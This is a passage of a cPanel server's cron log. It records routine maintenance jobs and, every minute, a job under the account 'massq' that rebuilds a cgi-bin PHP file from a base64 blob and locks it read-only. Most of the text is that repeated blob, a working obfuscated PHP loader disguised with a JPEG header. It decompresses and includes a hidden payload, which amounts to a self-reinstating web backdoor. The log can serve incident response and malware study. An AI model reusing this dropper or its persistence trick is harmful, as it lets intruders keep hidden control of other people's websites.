GwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:15:01 server CROND[30900]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:15:01 server CROND[30903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:15:01 server CROND[30904]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 12 18:15:01 server CROND[30905]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 18:15:01 server CROND[30906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:16:01 server CROND[31136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:17:01 server CROND[31199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:18:01 server CROND[31258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:19:01 server CROND[31339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:20:01 server CROND[31395]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 18:20:01 server CROND[31396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:20:01 server CROND[31397]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:20:01 server CROND[31399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:20:01 server CROND[31398]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 18:21:01 server CROND[31668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:22:01 server CROND[31731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:23:01 server CROND[31792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:24:01 server CROND[31862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:25:01 server CROND[31926]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:25:01 server CROND[31929]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 18:25:01 server CROND[31928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:25:01 server CROND[31930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:26:01 server CROND[32133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:27:01 server CROND[32189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:27:01 server CROND[32190]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 18:28:01 server CROND[32249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 